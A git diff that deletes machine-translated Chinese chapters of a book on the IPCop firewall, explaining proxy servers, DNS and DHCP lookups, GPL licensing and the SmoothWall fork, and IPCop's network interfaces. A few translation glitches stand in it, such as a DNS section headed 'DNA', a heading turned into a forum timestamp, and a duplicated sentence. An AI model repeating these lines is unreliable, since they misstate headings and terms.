护照(和对护照的检查)本身并不根据某人是谁、他们在做什么,以及他们是否出于安全原因在黑名单上而限制旅行。 这类似于应用层防火墙。 此外,通过护照和名单,各国政府可以检查越境旅行的人本身,并检查他们的行李(有效载荷),以核实是否合法携带(或含有违禁品,如爆炸物或弹药)--这可以与应用层防火墙和入侵检测/防御系统相比较。 - -## 代理服务器 - -因此,代理服务器可以是应用层防火墙的一种形式。 非常简单地说,代理服务器是接受来自一台计算机的请求并将其传递给另一台计算机的设备。 在传递请求时,代理服务器还可以对该请求的确切内容施加某些限制。 然而,最重要的是,由于代理服务器理解“请求”的概念,它提供的安全性高于简单地允许客户端连接到目的服务器或服务本身,因为代理服务器不允许任何东西穿越防火墙。 - -考虑一下我们前面的例子--一个小型网络,它希望允许客户端访问 Internet,同时阻止他们访问某些资源(如邮件、在线拍卖网站、游戏等)。 网络管理员在确定当前的防火墙策略不充分时,安装了代理服务器,并为网络上的客户端配置 Web 浏览器(手动或自动使用脚本或集中式配置方法,如 Red Hat Directory 服务器或 Microsoft 的 Active Directory),以指向代理服务器进行 Internet 访问。 - -然后,网络管理员将防火墙配置为丢弃来自网络上工作站的所有出站连接(允许从代理服务器连接到 Internet)。 此时,如果任何人使用网关/防火墙连接到 Internet,例如假想的员工出于恶意目的连接到端口 80 上的 SSH 服务器,这些连接将被防火墙丢弃(并可能被记录)。 从现在起,每当员工使用他或她的 Web 浏览器发起到网站的连接时,Web 浏览器不会执行之前的操作,而是尝试连接到有问题的网站并为用户检索内容。 取而代之的是,Web 浏览器连接到配置了它的代理服务器,并请求代理服务器向它提供所讨论的网页。 - -此时,执行任何形式的访问控制的代理服务器将确定所讨论的用户是否被允许访问所请求的资源。 Dan‘s Guardian 是 IPCop 包的一个例子,它允许过滤不适当的网站。 - -代理服务器的另一个优点是,当它们充当对内容的**个请求**的瓶颈时,它们可以检查网页是否已经被请求,如果已经被请求,则向客户端提供该页面的本地(高速缓存)副本,而不是检索相同内容的另一个副本。 这样的代理服务器被称为*缓存 web 代理*。 微软的 ISA 服务器和开源包 Squid 就是这样的例子。 - -在确定没有内容的本地副本(如果代理服务器正在缓存)并且用户被授权查看内容(如果存在有效的访问控制)之后,代理服务器将尝试从上游代理服务器或者(更有可能)从因特网本身检索内容本身。 如果目标站点不存在,则代理服务器可以向用户返回错误,或者将从远程站点返回的错误返回给用户。 - -透明代理(IPCop 支持)或‘*截取代理’*([http://www.rfc.org.uk/cgi-bin/lookup.cgi?rfc=rfc3040](http://www.rfc.org.uk/cgi-bin/lookup.cgi?rfc=rfc3040))‘通过 NAT 执行此操作,无需重新配置(也无需客户端参与),利用阻塞点对流量实施网络策略。 - -![Proxy Servers](img/1361_01_07.jpg) - -在上面的示例中,我们的透明代理服务器为笔记本电脑客户端获取[www.google.com](http://www.google.com)。 假设我们允许访问大多数互联网站点(如 Google),但会阻止访问带有“色情”等关键字的站点或包含在黑名单中的站点。 在这种情况下,代理服务器通过提供内容过滤来实现我们的 IT 策略的目标。 它还会对内容进行清理,以确保只允许有效的 HTTP 流量,而不允许针对任意应用(如 Skype 或 MSN)的连接,这是我们的 IT 政策所不允许的。 如果第二个客户端现在请求相同的页面,则代理服务器可以比第一次更快地交付缓存副本(省去步骤 3),从而为客户端提供更好的服务,并减少互联网连接上的负载。 代理服务器实质上为客户端本身承担“重担”。 - -在防火墙角色中,代理服务器的主要优势除了能够更有效地限制用户访问某些资源外,还在一定程度上清理进出网络的数据。 因为为了使业务流出或进入网络,它必须符合与网页相关的标准(web 代理理解),所以“带外”或非标准数据要进入/离开安全边界要困难得多。 - -一些包,如开源包 Zorp 和微软的 ISA 服务器,也将代理其他协议,如 RPC-这是防火墙世界的一个相对较新的进入者,在企业网络之外部署具有此类功能的防火墙的情况较少。 - -# 其他服务有时在防火墙上运行 - -虽然在企业方案中(如本章前面列出的网络拓扑示例),防火墙、路由器和代理服务器通常是独立的设备,但在较小的网络(甚至一些较大的网络)中,角色经常组合在一起。 即使是在大型企业的分支机构中,如果办公室只有 50 名员工,那么拥有三台网络基础设施服务器(防火墙、路由器、代理服务器)和三台桌面基础设施服务器(文件服务器、邮件服务器、打印服务器)可能也没有经济意义! 通过将我们所有的网络任务放在一台运行 IPCop 等软件的主机上,并在一台服务器上处理我们的桌面服务,我们将设备减少了三分之二,并可能提高性能(因为我们可以将这些服务放在更高规格的机器上)。 我们更易于管理的环境需要更少的电力、更少的空调,并且占用更少的空间。 - -## DNA - -域名系统([http://www.dns.net/dnsrd/rfc/](http://www.dns.net/dnsrd/rfc/))是通过互联网(以及专用网络)将主机名转换为 IP 地址的系统。 与前面的主题一样,这是对 DNS 功能的非常基本、简单化的解释-这是为了让您对该主题有一个基本的了解,而不是培养 DNS 专家。 已经有很多关于 DNS 的理论和实践的书籍([http://www.packtpub.com/DNS/book](http://www.packtpub.com/DNS/book)就是这样的一个例子),在这里重新创建它们超出了我们的范围。 - -除了用于互联网访问的默认网关和/或代理服务器之外,还为客户端分配了 DNS 服务器,该服务器允许客户端查找任何给定 DNS 域名的互联网协议地址。 当连接到另一台主机时,网络客户端将向分配给它的第一个 DNS 服务器发出查找请求,请求 A 记录(除非它连接到 SMTP 之类的服务,该服务使用自己的特定记录(在本例中为 MX)进行配置)。 - -DNS 服务器向客户端返回一个 IP 地址或多个 IP 地址,然后客户端使用该 IP 地址通过默认网关连接到站点或向代理服务器发出连接请求。 在许多情况下,有一个被定义为网站的 A 记录的 IP 地址,客户端将连接到该 IP 地址,但在某些情况下,通常对于较大的站点,有几个 IP 地址-在这些情况下,响应的 DNS 服务器将在每次请求它们时以随机顺序返回它们,使用此顺序来平衡所有 IP 地址上的流量。 这种技术被称为“循环 DNS”,Google 就是使用这种技术的一个典型例子。 - -电子邮件使用 MX 记录来指示特定域的电子邮件应该发送到哪里。 为域列出的每个 MX 记录通常将具有其自己的‘首选项号’-惯例是最低的首选项号是最重要的邮件服务器,因此域名设置两个(或更多)MX 记录是相当频繁的,主邮件服务器的一个主 MX 记录(具有例如 10 的优先级),以及在主 MX 服务器出现故障的情况下指向备用 MX 服务器的次要 MX 记录(例如具有 50 个优先级)是相当频繁的。 - -在 Unix 或 Linux 系统(或安装了 cygwin 工具包的 Windows 系统)上使用 `dig`或 `host`命令,或在 Windows(或 Unix/Linux)中使用 `nslookup`命令,我们可以检索为给定域名列出的 IP 地址以及(使用最新版本的 `host`命令)该域名的 MX 记录,如下所示: - -```sh -james@horus: ~ $ host google.com -DNSIP address, retrievinggoogle.com has address 72.14.207.99 -google.com has address 64.233.187.99 -google.com mail is handled by 10 smtp2.google.com. -google.com mail is handled by 10 smtp3.google.com. -google.com mail is handled by 10 smtp4.google.com. -google.com mail is handled by 10 smtp1.google.com. -james@horus: ~ $ - -``` - -也可以使用 `dig`命令(将要检索的记录类型作为第一个参数作为输入)来排除故障,如下所示: - -```sh -james@horus: ~ $ dig mx google.com -; <<>> DiG 9.3.1 <<>> mx google.com -;; global options: printcmd -;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64387 -;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1 -;; QUESTION SECTION: -;google.com. IN MX -;; ANSWER SECTION: -google.com. 118 IN MX 10 smtp3.google.com. -google.com. 118 IN MX 10 smtp4.google.com. -google.com. 118 IN MX 10 smtp1.google.com. -google.com. 118 IN MX 10 smtp2.google.com. -;; ADDITIONAL SECTION: -smtp3.google.com. 209 IN A 64.233.183.25 -;; Query time: 21 msec -;; SERVER: 10.1.1.6#53(10.1.1.6) -;; WHEN: Sun Nov 20 19:59:24 2005 -;; MSG SIZE rcvd: 132 -james@horus: ~ $ - -``` - -作为循环 DNS 的完美演示,我们可以看到,每次我们查询 MX 记录时,都会以不同的顺序(2341,3412)返回它们,从而分散了负载。 - -Windows 中的 `nslookup`命令可以按如下方式在交互模式下使用,按如下方式查找 MX 记录(或 A 记录,默认情况下,不设置显式记录类型): - -![DNS](img/1361_01_08.jpg) - -在对防火墙和网络问题进行故障排除时,此知识通常很有用,因为 DNS 故障是可能阻止连接的众多问题之一(实际上也是错误配置的 Active Directory 环境中故障的头号原因)。 了解 DNS(以及如何手动查找 DNS 记录)和知道如何使用 `ping`命令是 IT 专业人员用于调试连接问题的工具包中的前两个工具。 虽然 `ping`使用的第四层协议 ICMP 经常在客户端或目的地被防火墙保护([www.microsoft.com](http://www.microsoft.com)就是丢弃 ICMP 数据包的网站的一个例子),但 `ping`命令在排除连通性故障时通常很有用,因此不能总是依赖缺少 `ping`响应来明确指示连通性问题。 - -IPCop 包括 DNS 服务器,该服务器在默认情况下设置为解析名称服务器-也就是说,它将接受来自客户端的 DNS 请求并在外部解析它们,然后将结果传回本地网络上的客户端。 与 Web 代理服务器一样,当解析名称服务器具有域/IP 关联的缓存副本时,这可以加快请求的速度,它可以将其传递回客户端,而无需增加完全解析它的毫秒数秒。 还可以将客户端配置为通过防火墙向外部 DNS 服务器发出自己的 DNS 查询,但这样效率很低,会通过防火墙打开不必要的端口,而且通常不建议这样配置。 - -## DHCP - -DHCP(动态主机配置协议)是 BOOTP(早期协议)的派生协议,用于使用网络地址和其他配置信息(如网关和 DNS 服务器信息)自动配置网络上的主机。 DHCP 使用广播流量工作-非常简单,配置为使用 DHCP 的客户端在连接到网络请求 DHCP 服务器时,会将带有 DHCPDISCOVER 消息的 UDP 数据包发送到地址 255.255.255.255(广播地址,转发到同一子网中的每台主机)。 - -根据客户端的请求,网段上的 DHCP 服务器将发回一个 DHCPOFFER 请求,指定它提供给客户端的 IP 地址。 一般来说,一台服务器只会为一个客户端提供一个 IP 地址(在同一网段上运行多个 DHCP 服务器的情况相当少见),但如果有多个服务器,则客户端将选择其中一个提供的 IP 地址。 然后,客户端向广播地址返回 DHCPREQUEST 消息,请求其选择的配置。 一切正常后,服务器向客户端返回 DHCPACK 消息,以确认它可以获得分配的配置信息。 - -除了 IP 地址,DHCP 还可以分配各种其他配置信息,最常见的几个选项是 DNS 服务器、WINS 服务器、网关、子网掩码、NTP 服务器和 DNS 域名。 IPCop 包括一个 DHCP 实施,默认情况下配置为分发使用 IPCop 服务器进行互联网访问所需的信息,并使用*动态 DNS*使用 DHCP 请求发出的主机名填充 DNS 服务器,以便在客户端通过 DHCP 请求配置时为网络上的客户端设置 DNS 条目。 - -在 Windows 中,可以使用‘`ipconfig /a`’命令在客户端设备上查看 DHCP 配置(或静态网络配置);在 Unix/Linux 中,可以使用‘`ifconfig -a`’命令查看。 在 Windows 中, `ipconfig`命令还允许用户释放和续订 DHCP 信息。 - -# 摘要 - -在本章中,我们讨论了一些主题,如互联网从何而来,其中涉及的一些设计考虑因素,以及为什么防火墙如此重要并符合总体规划。 我们还了解了基本网络,包括网络层的重要性及其作用、一些不同类型的防火墙,以及防火墙可能运行的其他一些服务。 - -至此,我们应该对 IPCop 中使用的协议和技术的范围有了较好的了解。 我们可能还发现了一些您没有听说过或不了解的技术--别担心,这是一件好事! 如果有这种倾向,可以根据这里总结的信息和其他资源的链接来了解这些技术。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/02.md b/docs/conf-ipcop-fw/02.md deleted file mode 100644 index cfe9f5f1..00000000 --- a/docs/conf-ipcop-fw/02.md +++ /dev/null @@ -1,345 +0,0 @@ -# 二、IPCop 简介 - -在我们了解如何使用 IPCop 之前,我们需要先了解 IPCop 的背景以及构建 IPCop 所使用的工具。 我们还需要查看这些工具的分发许可,从而查看 IPCop 许可。 对于那些想要直接开始安装和配置并且已经了解开源软件、GPL 和 Linux 背景的人来说,本章不太有用。 但是,我们还将在本章中了解选择 IPCop 的原因以及它所具有的独特功能,这些功能在决定是否部署或如何部署 IPCop 时将非常有用。 因此,这是极其重要的。 - -# 自由开放源码软件 - -很多人可能听说过几种常见的软件,如免费软件,这是允许你免费使用的软件,以及(更一般的)商业软件,如 Microsoft Windows 或 Adobe Photoshop。 商业软件通常附带一个许可证,限制您以某种方式使用软件,并且通常禁止您复制或修改它。 - -IPCop 是一种称为**开源软件**(**OSS**)的软件。 作为 OSS 的一部分,IPCop 是在名为**GNU 通用公共许可证**(**GPL**)的许可下发布的。 - -与根据本许可证和其他类似许可证分发的所有开放源码软件包一样,IPCop 为其用户提供了一些基本自由。 - -根据 GPL,IPCop 用户可以自由阅读、修改和重新分发软件的源代码。 与此相关的唯一警告是,如果您决定重新分发此软件(例如,如果您复制了一份经过一些改进的 IPCop 并将其交给朋友),您必须在相同的许可下提供修改后的作品,并提供对源代码的访问权限。 当我们回顾 IPCop 的历史时,我们将看到,这对于希望将项目带向新方向的用户非常有益。 - -GPL 是最著名的开源许可证之一。 然而,还有许多其他的许可证,例如**Berkeley 软件分发许可证**(**BSD 许可证**)。 每个许可证赋予您的自由各不相同,但它们都必须至少允许读取、修改和重新分发源代码的能力,才能被 Open Source Initiative 视为开源许可证。 - -### 备注 - -**什么是源代码?** - -源代码是计算机程序员用人类可读语言编写的一组指令。 然后,这组指令通常由**编译器**转换成计算机可以运行的可执行程序。 使用封闭源代码软件(如 Microsoft Windows 和 ISA Server)时,您无法看到这一点。 使用 Linux 和 IPCop 等开放源码软件,您可以做到这一点! - -开放源码倡议是一个非营利性组织,致力于促进开放源码软件,并协助开发人员创建和使用开放源码许可证。 它还维护所有被接受为开放源码的许可证的列表。 - -您可以在[http://www.opensource.org/](http://www.opensource.org/)找到开放源码计划认可的所有许可证。 - -GPL 本身可以在 GNU 网站[http://www.gnu.org/copyleft/gpl.html](http://www.gnu.org/copyleft/gpl.html)上找到。 - -除了是最知名的 OSS 许可之外,GPL 也是最知名的 OSS 之一 Linux 内核选择的许可,Linux 内核是 IPCop 的关键组件。 Linux 内核在 GPL 下的发布使得像 IPCop 这样的系统成为可能。 Linux 内核是基于 Linux 的操作系统(例如任何 GNU/Linux 变体的 Linux 发行版)的核心。 内核是由一组开发人员开发的,他们大多由世界各地的志愿者组成,但也包括许多开发人员,他们的一些业务依赖 Linux 的公司(如 Red Hat Linux、Canonical、IBM、Novell 和 Sun Microsystems)付钱给他们。 - -正如我们现在所意识到的,创建开源软件意味着让我们的用户能够修改我们的源代码,然后重新分发他们的修改。 这就是对 IPCop 所做的事情。 IPCop 采用了 Linux 内核以及大量其他工具,将它们捆绑到软件的**发行版**中,并使用户能够创建功能丰富、易于使用的防火墙系统。 这就是许多开源软件是如何创建的,也是 OSS 背后的哲学的一个功能。 - -## 分叉 IPCop - -您不仅可以使用 OSS 在其他组件之上构建您的软件,还可以更进一步,采用其中一个组件(或这些组件的集合-称为**发行版**),并将其修改为比原始开发人员的设计更适合您的需求。 例如,如果某一特定软件的用户和开发人员决定他们希望从该软件中获得更多的东西,或者希望该软件被带到另一个方向,他们可以完全自由地这样做。 这就是 IPCop 的情况。 - -在创建 IPCop 之前,SmoothWall 已经存在([http://www.smoothwall.org](http://www.smoothwall.org))。 目前,SmoothWall 是一个非常类似于 IPCop 的发行版,IPCop 中的所有初始代码都是 SmoothWall 代码。 然而,SmoothWall 采用了*双重许可*来商业发布其免费防火墙的变种。 SmoothWall 的商业变种拥有更强大的功能,可能会导致免费和商业套餐的开发目标之间的冲突,因为如果免费产品会导致您的非免费产品赚得更少,那么就没有动力改进它。 - -这导致该软件的用户和一些开发者之间关系紧张。 目前的 IPCop 开发人员决定在 SmoothWall 已经投入的工作基础上开发该系统,但他们不想遵循 SmoothWall 当前的理念和方向。 因此,决定创建该软件的一个新分支-**分支**。 分叉背后的一个主要原因是希望创建一个具有商业 SmoothWall 可用功能的防火墙,然后将其作为纯粹的非商业 OSS 发布。 - -创建这样一个新的软件分支称为*分叉*,原因很明显。 分叉通常由用户和/或当前开发人员通过获取源代码的快照并决定以不同的方向开发来执行。 它们添加了不同的功能,可能删除了一些对项目不重要的东西,并创建了一个替代软件,该软件经常与原始软件竞争,或者提供替代软件。 - -*分支*软件的其他示例是 GNU 工具和 Linux 的许多不同发行版,如 Mandrake、Debian、Slackware、Ubuntu 等。 它们中的一些是从它们自己打包的 Linux 内核和 GNU 工具中派生出来的,还有一些是从彼此派生而来的。 例如,Adamantix 和 Ubuntu 派生自 Debian,它们的设计目标彼此不同,也不同于它们的母软件。 - -派生也是商业软件要经历的一个过程--例如,Windows 操作系统的许多不同版本最终都是从相同的源代码派生出来的。 通过*派生*源代码并开发 Windows 的*服务器*版本(例如 Windows 2003 Server)和 Windows 的*客户端*版本(例如 Windows XP),Microsoft 能够更好地在每个版本中提供适合该版本用途的功能以及所收取的价格。 - -操作系统种类繁多,如果没有许可所涉及的自由,IPCop 本身就不会存在,因为它是从 GNU 工具、Linux、SmoothWall 和许多其他开放源码包派生而来的。 这决不是一个详尽的列表,创建这样一个系统所涉及的所有代码所涉及的开发人员数量也很难估计。 - -IPCop 发布所依据的许可证意味着,如果一家公司选择在内部使用该系统,并随后决定要对其进行某些更改,则可以自由执行此操作-根据许可证,修改是一项理所当然的权利,您没有义务重新分发您所做的仅供内部使用的更改。 如果您确实决定将您的修改重新分发(给朋友、合作伙伴或其他公司),您需要做的就是为您的用户提供最初获得的相同好处;即,如果您决定发布软件,则必须在 GPL 下发布软件。 许可证甚至规定收取(合理的)分发费以弥补成本(尽管您将其重新分发给的人自己可以自由地将软件重新分发给他们想要的任何人,而且是免费的!)。 这给一款软件带来的额外功能很难衡量,但很容易看出这是如何带来好处的。 - -OSS 中的派生示例是来自 SmoothWall 的 IPCop 派生。 从逻辑上讲,没有什么能阻止这种情况再次发生,在作者看来,当涉及到软件时,多样性和选择是一件好事。 - -如果我们还没有掌握这个许可证的威力,一个很好的例子就是高度安全的安装。 在您需要完全的源代码控制和随意修改软件以适应安全环境的情况下,拥有 IPCop 及其源代码可以为您提供一个功能齐全的防火墙,您可以在其中创建更加自定义的系统,以便在需要这种灵活性时保护您的网络。 这可以是对系统底层内核的更改,也可以是对配置选项的更改,甚至是添加和删除防火墙功能。 因为不需要重新分发,所以您可以决定将其完全保密,并且本质上拥有一个只需要少量开发投资的内部系统。 提供这一功能的软件有很多,这是开放源码软件(如 IPCop)在市场上相对于封闭源码和商业竞争对手的最大优势之一。 - -如果您不需要这种灵活性,您仍然可以从使用这种灵活性来创建非常有用的系统的开发人员那里受益。 开发过程的开放性是代码开放性的直接结果,能够接触到 IPCop、Linux 内核或 Apache web 服务器等项目的人数之多,意味着这些软件包可以得到高度打磨并保持无缺陷,而具有相对较小的开发团队的商业产品可能不会如此勤奋地开发这些产品。在开发过程中,开发过程的开放性是代码开放性的直接结果,能够接触到 IPCop、Linux 内核或 Apache web 服务器等项目的人数众多,这意味着这些软件包可以高度润色并保持无缺陷,而拥有相对较小的开发团队的商业产品可能不会如此勤奋地开发这些产品。 - -# IPCop 的用途 - -IPCop 是一种用于小型办公室/家庭办公室(SOHO)网络的防火墙,非常易于使用。 它提供了您期望现代防火墙具备的大多数基本功能,最重要的是,它以高度自动化和简化的方式为您设置了所有这些功能。 设置和运行 IPCop 系统非常容易,几乎不需要任何时间。 - -对于 IPCop 中的那些功能,我们通常需要支付高端防火墙系统的费用,或者将一些东西与其他工具组合在一起。 IPCop 采用了其中一些功能强大的工具,并为我们创建了一个预先构建的包。 - -创建 IPCop 是为了填补市场上的一个空白,在这个市场上,拥有小型网络的用户需要一些通常只有大型网络才能负担得起的功能,就专业知识或资金的需求而言。 这本书希望提供更多的专业知识,为真正闪亮的商业产品提供足够的替代品,并看看如何在许多不同的场景中设置 IPCop。 - -# 在稳定组件上构建的好处 - -IPCop 可以很好地开发为操作系统的附加组件,就像 Shorewall 是安装在 Linux 系统上的应用或 Windows 系统上的 ISA 服务器一样,使其成为您在现有设置上安装的应用。 然后,您将只负责维护软件包底层的系统。 - -这样做的缺点是,如果您的服务器的目的只是作为网络的防火墙,则需要对 Linux 操作系统有足够的基本了解才能安装软件,如果您希望它运行良好,则必须配置操作系统和 IPCop 本身。 但是,由于 IPCop 是作为自己的操作系统安装的,因此您不需要了解 Linux 就可以使用该系统。 在稳定性方面,这意味着 IPCop 开发人员可以集中精力在一个平台上进行开发,并且可以完全确信他们可以控制该环境。 他们完全负责对此进行配置,当涉及到支持时,他们可以相对确定用户没有因为错误配置操作系统而破坏系统的稳定-如果用户错误地配置了操作系统,那么希望他们了解后果,这样他们就可以正确地进行操作,或者理解为什么 IPCop 在他们修补之后会崩溃! - -稳定性、安全性、可靠性和易用性可能是小型网络最重要的因素,也是 IPCop 的优势所在。 该系统构建在 2.4 系列的 Linux 内核上,具有显著的安全性、稳定性和可靠性。 此外,安装了在世界各地不同规模的网络中使用的工具提供了一个庞大的用户基础,这意味着正在使用的系统经过了良好的测试,有很多个人和公司在使用它们,报告它们的错误,并依赖它们来开展业务。 - -Linux 内核是最大的 OSS 单件之一,包括由来自世界各地的众多开发人员开发的数百万行源代码。 Linux 拥有许多现代操作系统功能,例如支持无线和蓝牙设备,以及最新的加密网络通信。 正如我们将在本书的整个过程中看到的那样,其中一些特性对于 IPCop 开发人员来说已经变得非常宝贵,因此对于从 IPCop 发行版中可以包含的特性中受益的 IPCop 用户来说,这些特性已经变得无价了。 IPCop 的开发人员不必太担心低级网络通信,因为他们已经在管理这一问题的现有内核代码之上构建了 IPCop。 - -这种分层(在其他软件之上的软件)使开发人员能够专注于他们最熟悉的领域,而对于 IPCop 开发人员来说,这一领域正在形成一个易于使用的防火墙。 您可能会发现这是我们在上一章介绍的 OSI 模型的网络分层中熟悉的概念。 无论是在应用堆栈、操作系统还是网络协议集中,这种互操作性对于构建可靠、安全的系统都至关重要。 *开放标准*,从网络协议(如 HTTP)到文档格式(如 Open Document Format),对它至关重要。 - -我们提到的其他一些软件包括 Apache 和 OpenSSH。 Apache 是提供用于配置 IPCop 的页面的 Web 服务器,为世界上一些最大的网站提供支持。 根据最新的 Web 服务器调查,世界上近 70%的 Web 服务器使用 Apache([http://news.netcraft.com/archives/2005/11/07/november_2005_web_server_survey.html](http://news.netcraft.com/archives/2005/11/07/november_2005_web_server_survey.html))。 - -因此,Apache 看起来是一个非常稳定和值得信赖的系统,在开发几乎完全基于 Web 的用户界面时,它为 IPCop 开发人员提供了难以置信的灵活性。 除了设置过程之外,没有真正需要超越 Web 界面。 通过将 Apache 服务器的内置功能与 IPCop 自己的脚本相结合,开发人员可以轻松完成非常高级的任务。 然后,这种稳定性和易用性被透明地传递给用户。 用户完全不知道 Apache 是执行此工作的系统的一部分,因此只需浏览 Web 所需的知识即可开始配置防火墙。 由于这项技能正在迅速成为一项基本技能,并已加入阅读和写作成为学校课堂上教授的技能之一,这使得 IPCop 变得非常平易近人。 使用这样平易近人的技术是 IPCop 努力实现其目标的众多方式之一。 - -同样,在没有全职 IT 员工的网络和 IPCop 只占很小一部分时间的员工的网络中,易用性变得至关重要。 大多数 IPCop 用户不想了解创建和维护数据包过滤会话状态规则的内部工作原理。 IPCop 旨在使这类知识变得不必要。 前端允许我们快速配置防火墙的基本和高级功能,而无需了解底层系统的详细信息。 由于这种易用性,还提供了一些功能强大的配置选项,使我们可以设置非常高级的配置,并且使用构建 IPCop 的工具设置起来会困难得多。 **虚拟专用网络**和**服务质量**控件就是一个很好的例子-单独而言,提供这些服务的软件包有一个非常陡峭的学习曲线,但当合并到 IPCop 中时,它们相对容易配置。 - -# Gap IPCop 填充 - -有多种不同级别的防火墙可用。 在频谱的一端,有 Check Point 和 ISA 这样的企业系统,它们执行各种强大的功能,可以控制大小和拓扑差异很大的网络的流量。 另一方面,我们有运行在 Agnitum、ZoneAlarm 等主机上的个人防火墙,以及 Windows XP Service Pack 2 中的内置防火墙,它们保护一台计算机。 还有许多家庭路由器提供基本的防火墙功能。 这就给我们留下了这样一个问题:IPCop 适合这些角色中的哪一个,以及它是否适合我们的需求。 - -如前所述,IPCop 最适合 SOHO 网络。 如果我们的网络相对较小,只有一个互联网连接,例如家庭网络或小型企业,或者我们有几个站点具有独立的互联网连接,需要在中型企业中链接在一起,那么我们肯定可以从使用 IPCop 处理这些连接中受益。 IPCop 的另一个重要方面是成本。 由于 IPCop 本身是免费的,我们为防火墙支付的唯一费用是硬件成本(通常是一台低规格的机器)和管理机器的成本(由于易于使用的界面,这一成本相对较低)。 对于较小的网络来说,这是非常有吸引力的。 - -ISA 服务器和检查点等系统极其昂贵,需要大量背景知识才能正确配置和保护。 这与 IPCop 相比,IPCop 几乎在默认情况下充当非常安全的路由器和防火墙。 较大的企业系统也有更高的系统要求,对于较小的网络来说通常过于苛刻。 设置这些网络所需的费用和时间不太可能为大型企业以外的网络提供良好的投资回报。 IPCop 还受益于简单性,这是在使用通用操作系统(如 Windows,甚至 Linux 发行版)以及它们通常附带的所有不必要服务时所不具备的。 IPCop 有一个特定的角色,所以可以删除许多服务和其他应用,这样您就只剩下一个专门的系统了。 - -另一端是个人防火墙,如 Agnitum、ZoneAlarm 等公司提供的防火墙。 在 SOHO 办公室中,通常使用 Windows Internet 连接共享(或廉价路由器)来履行 IPCop 经常扮演的角色。 - -这些防火墙通常提供基本功能,不允许我们创建 VPN 或从单个集中设备保护多台机器。 当你考虑创建非军事区的能力、入侵检测系统和 IPCop 提供的网络服务等功能时,你会发现简单的基于主机的系统可能不适合我们,具有 IPCop 功能和易用性的产品成为一个引人注目的选择。 - -目前,IPCop 最常见的使用人群是那些对防火墙和 Linux 有一定了解,但又不想花时间从头开始设置防火墙的人。 这绝不是 IPCop 的唯一用途。 不需要任何真正的 Linux 或防火墙经验,本书的目的是以一种简单易懂的方式介绍 IPCop,这使具有最基本计算机知识的用户能够使用简单的防火墙启动和运行,以保护他们的网络。 - -# IPCop 的功能 - -在本书中,我们将讨论 IPCop 版本 1.4.10,它是撰写本文时的最新版本。 随着 IPCop 的不断开发,将会添加新的功能,其中一些功能可能会发生变化。 - -## 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 - -很多防火墙都有一个杂乱无章、复杂的用户前端,需要大量的培训和经验才能熟悉。 例如,ISA 服务器界面是出了名的不直观,通常界面的设计并不是为了使常见任务变得简单和容易完成。 - -通常,专用防火墙(如 ISA 服务器和边界软件)会将常见功能(如**端口转发**)重命名,并将它们称为完全不同的功能,即使管理员有防火墙经验,但对所讨论的特定用户界面一无所知,这也不会让他们的工作变得更轻松。 举个简单的例子,Borderware 将端口转发称为**内部代理**,ISA 称为**发布**,DrayTek 的路由器系列(可靠且功能齐全,但有点难以配置)将其称为虚拟服务器。 这些定义在某些情况下是有原因的(正如我们早先发现的那样,应用层防火墙将代理流量),但是即使它们有正当理由,也不会真正让生活变得更容易! - -我们将仔细研究如何设置 IPCop,因此将在界面中花费大量时间。 因此,非常幸运的是,该界面非常易于使用,并且非常直观。 IPCop 开发人员决定使用基于内置到系统中的网站的界面,因此对于大多数人来说,该界面是一个熟悉的环境,因为任何设置防火墙的人都不太可能从未使用过网站。 - -![Web Interface](img/1361_02_01.jpg) - -仅将网站用作**图形用户界面**(**GUI**)是不够的。 界面仍然需要设置,以便很容易弄清楚并访问所有常见功能。 我们将看到的大多数功能都包括填写简单的表单,这是一个有效且易于管理的界面。 IPCop 在使用这样的接口方面并不是独一无二的。 许多设备(如 Linksys、DrayTek 和 D-Link 制造的 SOHO 电缆路由器)都有类似的设置,从思科设备到 HP ProCurve 交换机的许多高端产品也有类似的设置,但很少有这些设备包含 IPCop 提供的所有功能和易用性。 - -## 网络接口 - -IPCop 最多提供四个网络接口,每个接口通常连接到单独的网络。 对于大多数 IPCop 部署来说,这是足够的数量,因为中小型网络中很少有多个网络融合在一起,但 IPCop 可以通过使用虚拟专用网(VPN)容纳到更多网络的连接。 为便于管理,提供了四个可用的网络的标识颜色。 - -## 绿色网络接口 - -IPCop 部署的绿色网段代表*内部*网络,并受隐式信任。 IPCop 防火墙将自动允许从绿色网段*到*所有其他网段的所有连接*。* - -绿色网段始终是以太网网卡(NIC),不支持此容量中使用的任何其他设备。 本地网络可能像插入 Green 接口的小集线器一样简单,也可能包含数十台交换机、连接另一个站点的第二层网桥,甚至一台路由器。 - -### 备注 - -**绿色接口**上的寻址 - -Green 网络应使用私有地址范围(私有地址范围可在 RFC1918 中找到)。 虽然可以使用可公开寻址的地址范围进行设置,但默认的 IPCop 配置是使用 NAT 仅公开一个 IP 地址,因此,在 Green 网段上使用公有地址范围是没有意义的,因为 IPCop 会将其视为私有地址范围! 使用 IPCop 作为路由防火墙(而不是执行 NAT 的防火墙,这是默认配置)需要更高级的配置,无法通过 GUI 完成。 - -通常,接近这种复杂性的网络会选择使用基于 IPCop、另一个免费软件包或商业软件包构建的一个或多个防火墙或路由器来划分其网络,但如果有足够的网络知识和几个硬件平台,则可以使用 IPCop 构建复杂、安全的网络拓扑。 - -## 红色网络接口 - -与绿色网络接口类似,红色网络接口始终存在。 红色网络接口表示 Internet 或不受信任的网段(在较大的拓扑中)。 - -IPCop 防火墙的主要目标是保护 Green、Blue 和 Orange 网段及其上的联网主机不受 Red 网段上的流量、用户和主机的影响。 Red 网段通常具有良好的防火墙,不会向内部网段开放大量端口(如果有的话)。 默认值为 None。 - -### 备注 - -**红色接口**上的寻址 - -红色网段几乎总是使用由您的互联网服务提供商分配的公共地址范围。 互联网服务提供商可能(但不太常见)将私有地址范围用于其内部网络的大部分,并在其网络和暴露于互联网的主干之间的边界执行 NAT。 - -GPRS 和 3G 网络通常会这样做,一些有线电视 ISP 也是如此。 如果有疑问,请咨询您的 ISP 或检查连接到您的 ISP 的现有机器或路由器。 网站[www.dnsstuff.com](http://www.dnsstuff.com)可以用来**WHOIS**一个 IP 地址来检查注册,如果您不确定 IP 地址是*私有*还是*公共*,这可能是检查所有权的一个很好的方法。 - -Red 网段是 IPCop 支持以太网网卡以外的硬件的唯一*个*网段。 Red 段可以是静态分配或使用 DHCP 分配的以太网接口,它可以是 USB ADSL 调制解调器、ISDN 